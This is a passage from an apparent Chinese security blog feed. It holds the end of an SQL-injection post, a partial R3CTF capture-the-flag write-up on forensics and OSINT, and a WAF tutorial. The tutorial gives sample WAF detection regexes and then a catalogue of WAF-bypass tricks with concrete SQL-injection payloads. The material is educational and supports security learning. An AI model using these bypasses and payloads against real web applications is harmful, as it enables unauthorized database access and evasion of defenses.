被过滤或其他原因无法获得字段名的时候，可以通过别名的方式绕过获取字段名的这一步骤</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select a,b from (select 1 as a, 2 as b union select * from users)x;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406182200980.png" alt="img"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406182159422.png" alt="img"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;sql注入&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#sql注入&quot;&gt;#&lt;/a&gt; SQL 注入&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]&lt;/p&gt;
&lt;p&gt;参考协会学长们的文章：&lt;/p&gt;
&lt;p&gt;&lt;a class=</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>R3CTF WP</title>
    <link href="http://example.com/2024/06/17/R3CTF-WP/"/>
    <id>http://example.com/2024/06/17/R3CTF-WP/</id>
    <published>2024-06-17T13:18:09.000Z</published>
    <updated>2024-07-04T15:16:18.843Z</updated>
    
    <content type="html"><![CDATA[<h1 id="r3ctf-部分解题"><a class="markdownIt-Anchor" href="#r3ctf-部分解题">#</a> R3CTF 部分解题</h1><h2 id="misc"><a class="markdownIt-Anchor" href="#misc">#</a> misc</h2><h3 id="blizzard-cn-restarts"><a class="markdownIt-Anchor" href="#blizzard-cn-restarts">#</a> Blizzard CN Restarts</h3><p>魔兽的地图，借助浏览器搜索编辑器</p><p>MPQ master 打开.w3x 文件</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172123465.png" alt="3b128d1c95210ccec1d8ab46b9bb676"></p><p>打开.wts 文件</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172124261.png" alt="a16774372f0546f4baee3676aabe154"></p><p><code>r3ctf&#123;Elune_be_with_you&#125;</code></p><p>还有很多其他的解题方式，类似题目甚至可以下载游戏，玩通关就可以得到 flag（本题同样适用）</p><h3 id="transit"><a class="markdownIt-Anchor" href="#transit">#</a> Transit</h3><p>通过接触⽹编号锁定杭州⼗九号线，在社交媒体上搜⼀搜图⽚发现是知⾏路站</p><p hangzhou_zhixing_road_station>R3CTF</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172152992.png" alt="image-20240617215211528"></p><h2 id="forensics"><a class="markdownIt-Anchor" href="#forensics">#</a> Forensics</h2><h3 id="tpa-02-"><a class="markdownIt-Anchor" href="#tpa-02-">#</a> TPA 02 - 📱</h3><p>流量分析：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172152387.png" alt="ff8460f143f42b0112b7e69af493cc8"></p><p>取证：</p><p>查阅资料</p><p>通话记录保存位置：data/data/com.android.providers.contacts 目录下的 contacts2.db 数据库文件中的 call 表</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172154344.png" alt="b4b4cced9b953362b7c38a2d7b7f994"></p><p>没有，</p><p>查找同级目录下的短信</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172204482.png" alt="cc4f53b069672d1b768fa05ed5cafa2"></p><p><code>r3ctf&#123;15555215558_l0v3_aNd_peace&#125;</code></p><h3 id="tpa-03-failed"><a class="markdownIt-Anchor" href="#tpa-03-failed">#</a> TPA 03 - 💻 |  Failed</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172205944.png" alt="e378ad7088952c95f6fb111c5cc0d90"></p><p>FTK 人肉遍历发现一个可疑数据库</p><p>sqlitespy 打开</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172205616.png" alt="8ab73acb7aa16f48dc84e51fbb83ff4"></p><p>-----BEGIN PGP MESSAGE-----</p><p>hF4DQOZFkOnTo78SAQdAaOkhX64uECdRxqrvFjUAgGkefY/lVoFp2rnn7I9lKwcw</p><p>5LN5bO2Y0PDbp8vkHMIWh4HAgERjvBkdBATFW3pFIZWB7JjNxJd0+vO0ENVUV8XG</p><p>1MAhAQkCEGBAK0C+LBjxWsPdHPKhFyNzJPC/tDGAbTB5sB8bb/VLmToqPIbRfEli</p><p>Xhf6uZ7CDWMkyVWQQKwoyUIprDBUguKx4/smci99rLKbVeStKK/7j5ZyJAHc4lqK</p><p>dhxAHTurzQsgR+yhDOVCiA/vIkfMBxFb7rwBXPNgJbv5lFMuqFbIjR4Btw3BbY90</p><p>1fG4SF69fljKrW3KdM1zyLWODxio682rCxc4OjViKaEZpE7680WApOhDGmIPy4SP</p><p>zJU+s6U9LMvNIgGCJAE7SWrexssYhsqx4cuVK0R/VVck4pgy</p><p>=YxnN</p><p>-----END PGP MESSAGE-----</p><p>pgp 在线解密：<a class="link" href="https://www.codref.org/tools/pgp/">https://www.codref.org/tools/pgp/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172206737.png" alt="19d300eb9be7d89781af73aa77869a5"></p><p>需要 key</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406172207462.png" alt="246e615c2681bad1e1e4e79a3ce91b8"></p><p>并没有啥东西，熬夜找到三点依然无果，Give up😭</p><p>暂时没找到其他人的 wp 有此题的解</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;r3ctf-部分解题&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#r3ctf-部分解题&quot;&gt;#&lt;/a&gt; R3CTF 部分解题&lt;/h1&gt;
&lt;h2 id=&quot;misc&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>WAF</title>
    <link href="http://example.com/2024/06/07/WAF/"/>
    <id>http://example.com/2024/06/07/WAF/</id>
    <published>2024-06-06T16:12:45.000Z</published>
    <updated>2024-08-28T06:49:12.114Z</updated>
    
    <content type="html"><![CDATA[<h1 id="waf"><a class="markdownIt-Anchor" href="#waf">#</a> WAF</h1><p><code>WAF</code> （ <code>Web Application Firewall</code> ，网页应用防火墙）是一种专门设计用于保护 Web 应用程序的安全设备或软件，旨在通过监控、过滤和分析 HTTP/HTTPS 流量，防止常见的 Web 攻击，如 SQL 注入、跨站脚本（XSS）攻击和跨站请求伪造（CSRF）等</p><p>WAF 一般部署在 Web 服务器之前，用来保护 Web 应用</p><h2 id="waf与传统安全设备"><a class="markdownIt-Anchor" href="#waf与传统安全设备">#</a> WAF 与传统安全设备</h2><p>传统安全设备特点：</p><ul><li><p>IPS：针对蠕虫、网络病毒、后门木马防护，不具备 WEB 应用层的安全防护能力</p></li><li><p>传统 FW：作为内网与外网之间的一种访问控制设备，提供 3-4 层的安全防护能力，不具备 WEB 应用层的安全防护能力</p></li><li><p>UTM/NGFW: 优势，UTM 或者 NGFW 把多种安全能力融合为一体（上网行为管理、IPS、防病毒、WEB 安全防护）</p><p>劣势：各安全引擎模式开启之后设备综合性能势必降低！</p><p>n 多核架构 / MIPS 架构无法实现对 HTTP/HTTPS 数据包的深度检测（包括转换编码、拼接攻击语句、大小写变换、超大报文等），WEB 应用攻击的检出率低、漏报率高！</p></li></ul><h2 id="来自chatgpt对于waf与传统安全设备的区别的回答"><a class="markdownIt-Anchor" href="#来自chatgpt对于waf与传统安全设备的区别的回答">#</a> 来自 ChatGPT 对于 WAF 与传统安全设备的区别的回答：</h2><h3 id="1-保护对象"><a class="markdownIt-Anchor" href="#1-保护对象">#</a> 1. <strong>保护对象</strong></h3><ul><li><strong>WAF</strong>：专门保护 Web 应用程序，主要针对 HTTP/HTTPS 流量和应用层攻击，如 SQL 注入、跨站脚本（XSS）、跨站请求伪造（CSRF）等。</li><li><strong>传统防火墙</strong>：主要保护网络边界，控制网络层的流量，防止未授权访问和攻击，针对 IP、端口、协议等进行过滤。</li><li><strong>IDS/IPS</strong>：监控和分析网络流量以检测和阻止各种网络攻击和异常行为，保护整个网络环境。</li></ul><h3 id="2-工作层面"><a class="markdownIt-Anchor" href="#2-工作层面">#</a> 2. <strong>工作层面</strong></h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406070038139.png" alt="OSI七层网络协议 | Clei's Blog"></p><ul><li><strong>WAF</strong>：工作在应用层（OSI 模型的第 7 层），深入分析 Web 请求和响应，理解 HTTP/HTTPS 协议和 Web 应用逻辑。</li><li><strong>传统防火墙</strong>：工作在网络层（第 3 层）和传输层（第 4 层），关注 IP 地址、端口号和传输协议。</li><li><strong>IDS/IPS</strong>：通常工作在网络层和传输层，有时也涉及应用层，但主要用于广泛的网络流量监控和防护。</li></ul><h3 id="3-检测和防护方法"><a class="markdownIt-Anchor" href="#3-检测和防护方法">#</a> 3. <strong>检测和防护方法</strong></h3><ul><li><strong>WAF</strong>：使用签名检测、行为分析、规则引擎、学习模式等方法，针对 Web 特有的攻击进行深度检查和防护。</li><li><strong>传统防火墙</strong>：使用基于状态的包过滤、访问控制列表（ACL）、NAT 等方法，控制和管理进出网络的流量。</li><li><strong>IDS/IPS</strong>：使用签名检测、异常检测、协议分析等方法，检测并响应各种网络攻击，如 DDoS、端口扫描、恶意流量等。</li></ul><h3 id="4-部署位置"><a class="markdownIt-Anchor" href="#4-部署位置">#</a> 4. <strong>部署位置</strong></h3><ul><li><strong>WAF</strong>：通常部署在 Web 服务器前端，保护特定的 Web 应用程序或 Web 服务器。</li><li><strong>传统防火墙</strong>：部署在网络边界，如企业网络和互联网之间，保护整个网络的进出口。</li><li><strong>IDS/IPS</strong>：可以部署在网络的不同位置，如网络边界、内部网络段之间，或者靠近关键资源，监控并保护整个网络环境。</li></ul><h3 id="5-功能和用途"><a class="markdownIt-Anchor" href="#5-功能和用途">#</a> 5. <strong>功能和用途</strong></h3><ul><li>WAF：<ul><li>防护 Web 应用层攻击</li><li>HTTP/HTTPS 流量分析和过滤</li><li>Web 应用安全策略管理</li><li>输入验证和输出编码</li></ul></li><li>传统防火墙：<ul><li>网络访问控制和流量过滤</li><li>VPN 支持和流量加密</li><li>基于状态的包过滤</li><li>防止未授权访问</li></ul></li><li>IDS/IPS：<ul><li>实时监控和检测网络攻击</li><li>自动响应和阻止攻击（IPS）</li><li>网络行为分析和异常检测</li><li>事件日志记录和报告</li></ul></li></ul><h3 id="6-具体防护场景"><a class="markdownIt-Anchor" href="#6-具体防护场景">#</a> 6. <strong>具体防护场景</strong></h3><ul><li><strong>WAF</strong>：保护在线购物网站、Web 服务 API、内容管理系统（CMS）等 Web 应用程序，防止 Web 特有的攻击。</li><li><strong>传统防火墙</strong>：保护企业网络边界，控制内部网络和外部网络之间的流量，防止未经授权的访问和外部攻击。</li><li><strong>IDS/IPS</strong>：监控整个网络的流量，检测和阻止各种类型的攻击，保护网络中的所有设备和服务。</li></ul><h3 id="7-优势和劣势"><a class="markdownIt-Anchor" href="#7-优势和劣势">#</a> 7. <strong>优势和劣势</strong></h3><ul><li>WAF：<ul><li><strong>优势</strong>：深度保护 Web 应用程序，针对 Web 特有攻击提供精细化防护。</li><li><strong>劣势</strong>：只能保护 Web 应用，对非 HTTP/HTTPS 流量无效。</li></ul></li><li>传统防火墙：<ul><li><strong>优势</strong>：提供广泛的网络层和传输层保护，易于部署和管理。</li><li><strong>劣势</strong>：无法深入检查和理解应用层流量，难以防御复杂的应用层攻击。</li></ul></li><li>IDS/IPS：<ul><li><strong>优势</strong>：实时检测和响应各种网络攻击，保护整个网络环境。</li><li><strong>劣势</strong>：可能产生误报和漏报，配置和管理复杂。</li></ul></li></ul><h2 id="waf的工作原理"><a class="markdownIt-Anchor" href="#waf的工作原理">#</a> WAF 的工作原理</h2><h3 id="1-流量过滤"><a class="markdownIt-Anchor" href="#1-流量过滤">#</a> 1. <strong>流量过滤</strong></h3><p>WAF 通过拦截并检查所有进入和离开 Web 服务器的 HTTP/HTTPS 流量，确保只有合法和安全的请求能够到达应用程序。这包括：</p><ul><li><strong>请求过滤</strong>：检查每个请求的 URL、头信息、参数和正文内容。</li><li><strong>响应过滤</strong>：检查服务器返回的响应内容，防止敏感信息泄露。</li></ul><h3 id="2-签名检测"><a class="markdownIt-Anchor" href="#2-签名检测">#</a> 2. <strong>签名检测</strong></h3><p>WAF 使用预定义的攻击签名库来识别已知的攻击模式。当请求或响应匹配这些签名时，WAF 会采取相应的措施，如阻止请求、记录事件或向管理员发送警报。</p><ul><li><strong>例子</strong>：SQL 注入签名、XSS 攻击签名。</li></ul><h3 id="3-行为分析"><a class="markdownIt-Anchor" href="#3-行为分析">#</a> 3. <strong>行为分析</strong></h3><p>通过分析正常流量模式，WAF 可以建立基线并检测异常行为。这有助于识别零日攻击和其他未知威胁。</p><ul><li><strong>例子</strong>：如果某 IP 地址在短时间内发送了大量的请求，WAF 可以将其视为可能的攻击并阻止其进一步请求。可以防御 CC 攻击（但是无法完全防御 DDos 攻击）</li></ul><h3 id="4-规则引擎"><a class="markdownIt-Anchor" href="#4-规则引擎">#</a> 4. <strong>规则引擎</strong></h3><p>管理员可以根据特定需求和安全策略定义自定义规则。WAF 会根据这些规则检测并响应特定类型的流量。</p><ul><li><strong>例子</strong>：阻止来自某些地理位置的请求、限制特定 IP 地址的访问频率。</li></ul><h3 id="5-安全策略管理"><a class="markdownIt-Anchor" href="#5-安全策略管理">#</a> 5. <strong>安全策略管理</strong></h3><p>WAF 允许管理员定义和管理一系列安全策略，以适应不同的应用场景和需求。这些策略可以涵盖访问控制、输入验证、输出编码等方面。</p><ul><li><strong>例子</strong>：仅允许特定用户组访问某些敏感功能。</li></ul><h3 id="6-学习模式"><a class="markdownIt-Anchor" href="#6-学习模式">#</a> 6. <strong>学习模式</strong></h3><p>许多现代 WAF 具备学习模式功能，能够自动学习和适应应用程序的正常行为，并动态调整防护策略以应对不断变化的威胁环境。</p><ul><li><strong>例子</strong>：通过分析用户行为，自动调整防护规则以减少误报和漏报。</li></ul><h3 id="7-日志记录与审计"><a class="markdownIt-Anchor" href="#7-日志记录与审计">#</a> 7. <strong>日志记录与审计</strong></h3><p>WAF 记录所有检测到的威胁和采取的响应措施，生成详细的日志和报告，帮助管理员进行分析、审计和改进安全策略。</p><ul><li><strong>例子</strong>：记录所有阻止的 SQL 注入尝试，并生成每周安全报告。</li></ul><h3 id="8-集成与自动化"><a class="markdownIt-Anchor" href="#8-集成与自动化">#</a> 8. <strong>集成与自动化</strong></h3><p>WAF 可以与其他安全设备和软件集成，如防火墙、入侵检测系统（IDS）、入侵防御系统（IPS）等，以形成综合的安全防护体系。</p><ul><li><strong>例子</strong>：当 WAF 检测到某个攻击行为时，自动通知 IPS 进行进一步处理。</li></ul><h3 id="waf的工作流程"><a class="markdownIt-Anchor" href="#waf的工作流程">#</a> WAF 的工作流程</h3><ol><li><strong>接收请求</strong>：当用户向 Web 服务器发送 HTTP/HTTPS 请求时，WAF 首先接收该请求。</li><li><strong>分析请求</strong>：WAF 检查请求的各个部分，包括 URL、参数、头信息和正文内容，进行签名检测和行为分析。</li><li><strong>应用策略</strong>：根据预定义的安全策略和规则，决定如何处理该请求。可能的操作包括允许、阻止、记录或向管理员发送警报。</li><li><strong>转发请求</strong>：如果请求被允许，WAF 将其转发到 Web 服务器进行处理。</li><li><strong>监控响应</strong>：WAF 检查服务器返回的响应，确保没有敏感信息泄露或其他安全问题。</li><li><strong>返回响应</strong>：最后，WAF 将安全的响应返回给用户。</li></ol><h2 id="简单的自定义waf"><a class="markdownIt-Anchor" href="#简单的自定义waf">#</a> 简单的自定义 WAF</h2><p>编写代码来捕获和解析 HTTP/HTTPS 流量。可以使用以下库：</p><ul><li>Python:  <code>scapy</code> ,  <code>dpkt</code> ,  <code>http.server</code></li><li>Node.js:  <code>http</code> ,  <code>https</code></li><li>C/C++:  <code>libpcap</code> ,  <code>libnetfilter_queue</code></li></ul><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> http.server <span class="keyword">import</span> BaseHTTPRequestHandler, HTTPServer</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SimpleWAF</span>(<span class="title class_ inherited__">BaseHTTPRequestHandler</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">do_GET</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">if</span> self.is_malicious_request(self.path):</span><br><span class="line">            self.send_response(<span class="number">403</span>)</span><br><span class="line">            self.end_headers()</span><br><span class="line">            self.wfile.write(<span class="string">b&quot;403 Forbidden&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            self.send_response(<span class="number">200</span>)</span><br><span class="line">            self.end_headers()</span><br><span class="line">            self.wfile.write(<span class="string">b&quot;Hello, World!&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">is_malicious_request</span>(<span class="params">self, path</span>):</span><br><span class="line">        patterns = [</span><br><span class="line">            re.<span class="built_in">compile</span>(<span class="string">r&quot;(&lt;|%3C).*script.*(&gt;|%3E)&quot;</span>, re.IGNORECASE),  <span class="comment"># XSS</span></span><br><span class="line">            re.<span class="built_in">compile</span>(<span class="string">r&quot;(\%27)|(\&#x27;)|(\-\-)|(\%23)|(#)&quot;</span>, re.IGNORECASE),  <span class="comment"># SQL Injection</span></span><br><span class="line">        ]</span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> patterns:</span><br><span class="line">            <span class="keyword">if</span> pattern.search(path):</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    server = HTTPServer((<span class="string">&#x27;localhost&#x27;</span>, <span class="number">8080</span>), SimpleWAF)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Starting server at http://localhost:8080&quot;</span>)</span><br><span class="line">    server.serve_forever()</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SimpleWAF</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$patterns</span> = [</span><br><span class="line">        <span class="string">&#x27;/(&lt;|%3C).*script.*(&gt;|%3E)/i&#x27;</span>,  <span class="comment">// XSS</span></span><br><span class="line">        <span class="string">&#x27;/(\%27)|(\&#x27;)|(\-\-)|(\%23)|(#)/i&#x27;</span>,  <span class="comment">// SQL Injection</span></span><br><span class="line">        <span class="string">&#x27;/select\b|insert\b|update\b|delete\b|drop\b|union\b/i&#x27;</span>  <span class="comment">// SQL Keywords</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">filterRequest</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">filterRequest</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">foreach</span> (<span class="variable">$_GET</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line">            <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">checkMalicious</span>(<span class="variable">$value</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">foreach</span> (<span class="variable">$_POST</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line">            <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">checkMalicious</span>(<span class="variable">$value</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">foreach</span> (<span class="variable">$_COOKIE</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line">            <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">checkMalicious</span>(<span class="variable">$value</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">checkMalicious</span>(<span class="params"><span class="variable">$value</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">foreach</span> (<span class="variable language_">$this</span>-&gt;patterns <span class="keyword">as</span> <span class="variable">$pattern</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="variable">$pattern</span>, <span class="variable">$value</span>)) &#123;</span><br><span class="line">                <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">blockRequest</span>();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">blockRequest</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="title function_ invoke__">header</span>(<span class="string">&#x27;HTTP/1.1 403 Forbidden&#x27;</span>);</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;403 Forbidden - Your request has been blocked by the WAF.&quot;</span>;</span><br><span class="line">        <span class="keyword">exit</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 初始化 WAF</span></span><br><span class="line"><span class="keyword">new</span> <span class="title function_ invoke__">SimpleWAF</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 继续处理正常请求</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Hello, World!&quot;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><h2 id="waf-bypass"><a class="markdownIt-Anchor" href="#waf-bypass">#</a> WAF Bypass</h2><h3 id="超过waf配额绕过"><a class="markdownIt-Anchor" href="#超过waf配额绕过">#</a> 超过 WAF 配额绕过</h3><p>为不干扰到网站的正常运行，配置 WAF 检测额度内进行过滤，有些 WAF 就会设置如果数据包长度超过所检测的长度，就会对部分数据包或者是数据包的部分内容进行无检测 “放行”。</p><h4 id="增加参数个数"><a class="markdownIt-Anchor" href="#增加参数个数">#</a> 增加参数个数</h4><p>配置的原因，例如 safedog，只会检测前 100 个参数，把自己的执行语句放在 100 个之后</p><h4 id="增加参数长度"><a class="markdownIt-Anchor" href="#增加参数长度">#</a> 增加参数长度</h4><p>文件上传漏洞利用时，增加无意义数据，webshell 放在最后面；</p><p>SQL 注入时，增加 URL 编码长度，并注释掉；</p><p>xss 测试时加入无意义内容</p><h4 id="增加waf负载"><a class="markdownIt-Anchor" href="#增加waf负载">#</a> 增加 WAF 负载</h4><p>向 WAF 发送大量正常数据包，并发送异常数据包，导致站点流量过大，可能会对部分数据包进行检查，注意分寸，避免造成宕机。</p><h3 id="构造异常数据包"><a class="markdownIt-Anchor" href="#构造异常数据包">#</a> 构造异常数据包</h3><h4 id="双参数绕过"><a class="markdownIt-Anchor" href="#双参数绕过">#</a> 双参数绕过</h4><p>网站有一个 id 参数，在数据包中包含两个 id 参数进去，WAF 可能只检测第一个，第二个就会被服务器执行</p><h4 id="请求方式转换"><a class="markdownIt-Anchor" href="#请求方式转换">#</a> 请求方式转换</h4><p>根据对 WAF 配置的不同</p><p>如果 WAF 只检验 GET 类型的包，忽略 POST 类型的包，修改数据包类型尝试绕过</p><p>如果 WAF 只检验 POST 类型的包，忽略 GET 类型的包，修改数据包类型尝试绕过</p><p>有时，也可尝试，把数据包改为 request 类型等或根本就不存在的其他类型</p><p>另一方面：POST 在提交数据的时候有两种方式，第一种方式是使用 urlencode 的方式提交，第二种方式是使用 form-data 的方式提交。当我们在测试站点的时候，如果发现 POST 提交的数据被过滤掉了，此时可以考虑使用 form-data 的方式去提交。</p><h3 id="绕过匹配"><a class="markdownIt-Anchor" href="#绕过匹配">#</a> 绕过匹配</h3><h4 id="大小写变换"><a class="markdownIt-Anchor" href="#大小写变换">#</a> 大小写变换</h4><blockquote><p>?id=-1’ UnIOn SeLEct 1,VERsion(),3</p></blockquote><h4 id="将关键词进行等价替换"><a class="markdownIt-Anchor" href="#将关键词进行等价替换">#</a> 将关键词进行等价替换</h4><blockquote><p><code>Hex() bin()</code>  等价于 <code>ascii() </code></p><p><code>Sleep()</code>  等价于  <code>benchmark()</code></p><p><code>Mid()substring()</code>  等价于  <code>substr() </code></p><p><code>@@user </code> 等价于 <code>User()</code></p><p><code>@@Version </code> 等价于  <code>version()</code></p></blockquote><p>**greatest 替换 &gt; **</p><p><code>greatest</code>  返回两个值中大的那个</p><blockquote><p>?id=-1’ union select greatest(ascii(substr(database(),0,1)),1) --+</p></blockquote><p><strong>least  替换 &lt;</strong></p><p><code>least</code>  返回两个值中小的那个</p><blockquote><p>?id=-1’ union select least(ascii(substr(database(),0,1)),1000000) --+</p></blockquote><p><strong>strcmp 函数</strong></p><p>比较两个值大小，相等返回 0 后者比前者大返回 - 1 小返回 1</p><blockquote><p>?id=-1’ union select srtcmp(ascii(substr(database(),0,1)),100) --+</p></blockquote><p><strong>in 替换 =</strong></p><p>相等返回 1 不相等返回 0</p><blockquote><p>?id=-1’ union select substr(database()) in (“u”) --+</p></blockquote><p><strong>between and 替换 =</strong></p><blockquote><p>?id=-1’ union select substr(database()) between “a” and “u” --+</p></blockquote><p><strong>form for</strong></p><p>盲注过滤逗号</p><blockquote><p>?id=-1’ union select(database() form 0 for 1) --+</p></blockquote><p><strong>limit A offset B</strong></p><p>当过滤逗号时，limit 后面只能有一个参数，表示要取的数量，offset 表示跳过数量</p><blockquote><p>select * from users limit 3 offset 2</p></blockquote><h4 id="使用嵌套"><a class="markdownIt-Anchor" href="#使用嵌套">#</a> 使用嵌套</h4><p>对某些关键字替换为空，尝试采用嵌套双写进行绕过</p><blockquote><p>SELselectECT、UNunionION</p></blockquote><h4 id="使用编码"><a class="markdownIt-Anchor" href="#使用编码">#</a> 使用编码</h4><blockquote><p>Json<br>Unicode<br>base64<br>urlencode<br>html<br>Serialize</p></blockquote><p><strong>双重编码：</strong></p><p>WAF 又是会解码后过滤</p><h4 id="特殊符号"><a class="markdownIt-Anchor" href="#特殊符号">#</a> 特殊符号：</h4><p><strong>*+(-)(@)(!) 等替代空格 *</strong></p><blockquote><p>select+database()</p><p>select@database()</p></blockquote><p><strong>xor 逻辑异或</strong></p><p>任意一个数为 NULL 时，返回 NULL</p><p>非 NULL 的数，逻辑真假值相异，返回 1，否则为 0</p><blockquote><p>database()=“admin” xor 0</p></blockquote><p><code>/**/  ()  %0a  ``  2个空格</code>  替代 空格</p><blockquote><p>select/**/database()</p></blockquote><p><strong>替换 and or not xor</strong></p><blockquote><p>and ----&gt; &amp;&amp;    ,or ------&gt; ||  ,xor ------&gt; |     ,not -----&gt;  !</p></blockquote><p><strong>替换 